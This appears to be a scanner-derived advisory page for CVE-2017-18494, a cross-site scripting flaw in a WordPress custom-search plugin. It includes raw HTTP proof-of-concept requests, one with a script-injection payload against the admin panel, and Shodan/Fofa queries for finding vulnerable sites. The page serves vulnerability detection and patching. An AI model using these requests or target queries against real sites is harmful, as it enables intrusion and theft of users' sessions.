| Title | Custom Search by BestWebSoft < 1.36 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 1.36 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00104 |
| CVE ID | CVE-2017-18494 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/custom-search-plugin/ |
| Fofa Query | body=/wp-content/plugins/custom-search-plugin/ |
| Tags | cve cve2017 wordpress bws-custom-search wpscan wp-plugin xss authenticated bestwebsoft vuln |
The custom-search-plugin plugin before 1.36 for WordPress has multiple XSS issues.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Safari/602.4.8
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=2SKbiL&pwd=9dg9ii&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/7.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/custom-search-plugin/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18494.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18494.pcap
N/AN/A